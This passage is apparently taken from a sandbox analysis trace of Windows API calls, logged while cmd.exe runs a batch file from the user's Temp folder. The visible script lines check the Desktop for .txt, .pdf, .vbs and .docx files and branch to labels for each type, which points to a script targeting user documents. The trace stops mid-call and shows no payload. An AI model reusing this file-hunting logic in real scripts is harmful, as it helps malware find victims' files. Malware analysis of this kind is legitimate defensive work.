(HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.279] GetProcessHeap () returned 0x4e0000 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.279] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.280] _tell (_FileHandle=3) returned 1976 [0038.280] _close (_FileHandle=3) returned 0 [0038.280] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0038.280] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.280] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.281] GetLastError () returned 0x2 [0038.281] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.281] GetLastError () returned 0x6 [0038.281] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.281] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.281] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.281] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.281] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.281] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.281] SetConsoleInputExeNameW () returned 0x1 [0038.281] GetConsoleOutputCP () returned 0x1b5 [0038.281] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.282] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.282] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.282] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.282] GetProcessHeap () returned 0x4e0000 [0038.282] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0038.283] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e75, lpOverlapped=0x0) returned 1 [0038.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0038.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0038.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.283] GetFileType (hFile=0x74) returned 0x1 [0038.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0038.283] GetProcessHeap () returned 0x4e0000 [0038.283] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.283] GetProcessHeap () returned 0x4e0000 [0038.283] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.283] _tell (_FileHandle=3) returned 1978 [0038.283] _close (_FileHandle=3) returned 0 [0038.283] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.283] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0038.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0038.284] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e73, lpOverlapped=0x0) returned 1 [0038.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0038.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0038.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.284] GetFileType (hFile=0x74) returned 0x1 [0038.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0038.284] GetProcessHeap () returned 0x4e0000 [0038.284] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.284] GetProcessHeap () returned 0x4e0000 [0038.284] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.284] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.284] GetProcessHeap () returned 0x4e0000 [0038.284] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.284] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.284] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.284] GetProcessHeap () returned 0x4e0000 [0038.284] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.284] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.284] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.285] GetProcessHeap () returned 0x4e0000 [0038.285] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.285] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.285] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.285] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.285] GetProcessHeap () returned 0x4e0000 [0038.285] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.285] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.285] GetProcessHeap () returned 0x4e0000 [0038.285] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.285] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.285] GetProcessHeap () returned 0x4e0000 [0038.285] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.285] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.286] _tell (_FileHandle=3) returned 2003 [0038.286] _close (_FileHandle=3) returned 0 [0038.286] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0038.286] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.286] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.286] GetLastError () returned 0x2 [0038.286] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.286] GetLastError () returned 0x6 [0038.286] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.286] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.286] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.286] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.287] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.287] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.287] SetConsoleInputExeNameW () returned 0x1 [0038.287] GetConsoleOutputCP () returned 0x1b5 [0038.287] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.287] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.287] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.287] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.287] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.287] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0038.287] GetProcessHeap () returned 0x4e0000 [0038.287] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.287] GetProcessHeap () returned 0x4e0000 [0038.287] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.287] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.288] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.288] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.288] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.288] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.288] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.288] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.288] GetProcessHeap () returned 0x4e0000 [0038.288] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.288] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0038.289] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e5a, lpOverlapped=0x0) returned 1 [0038.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0038.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0038.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.289] GetFileType (hFile=0x74) returned 0x1 [0038.289] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.289] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0038.289] GetProcessHeap () returned 0x4e0000 [0038.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.289] GetProcessHeap () returned 0x4e0000 [0038.289] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.289] GetProcessHeap () returned 0x4e0000 [0038.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.289] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.289] GetProcessHeap () returned 0x4e0000 [0038.289] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.289] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.290] GetProcessHeap () returned 0x4e0000 [0038.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.290] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.290] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.290] GetProcessHeap () returned 0x4e0000 [0038.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.290] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.290] GetProcessHeap () returned 0x4e0000 [0038.290] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.290] GetProcessHeap () returned 0x4e0000 [0038.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.291] _tell (_FileHandle=3) returned 2028 [0038.291] _close (_FileHandle=3) returned 0 [0038.291] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0038.291] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.291] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.292] GetLastError () returned 0x2 [0038.292] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.292] GetLastError () returned 0x6 [0038.292] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.292] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.292] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.292] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.292] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.292] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.293] SetConsoleInputExeNameW () returned 0x1 [0038.293] GetConsoleOutputCP () returned 0x1b5 [0038.293] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.293] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.293] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.293] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.293] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.293] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0038.293] GetProcessHeap () returned 0x4e0000 [0038.293] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.293] GetProcessHeap () returned 0x4e0000 [0038.293] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.293] GetProcessHeap () returned 0x4e0000 [0038.293] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.293] GetProcessHeap () returned 0x4e0000 [0038.293] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.293] GetProcessHeap () returned 0x4e0000 [0038.293] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.293] GetProcessHeap () returned 0x4e0000 [0038.293] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.293] GetProcessHeap () returned 0x4e0000 [0038.293] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.293] GetProcessHeap () returned 0x4e0000 [0038.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.294] GetProcessHeap () returned 0x4e0000 [0038.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.294] GetProcessHeap () returned 0x4e0000 [0038.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0038.294] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e41, lpOverlapped=0x0) returned 1 [0038.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0038.294] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0038.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.294] GetFileType (hFile=0x74) returned 0x1 [0038.294] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.294] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0038.294] GetProcessHeap () returned 0x4e0000 [0038.294] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.294] GetProcessHeap () returned 0x4e0000 [0038.294] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.294] _tell (_FileHandle=3) returned 2030 [0038.294] _close (_FileHandle=3) returned 0 [0038.294] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.295] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0038.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0038.295] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e3f, lpOverlapped=0x0) returned 1 [0038.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0038.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0038.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.295] GetFileType (hFile=0x74) returned 0x1 [0038.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0038.295] GetProcessHeap () returned 0x4e0000 [0038.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.295] GetProcessHeap () returned 0x4e0000 [0038.295] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.295] GetProcessHeap () returned 0x4e0000 [0038.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.295] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.296] GetProcessHeap () returned 0x4e0000 [0038.296] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.296] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.296] GetProcessHeap () returned 0x4e0000 [0038.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.296] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.296] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0038.296] GetProcessHeap () returned 0x4e0000 [0038.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0038.296] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) 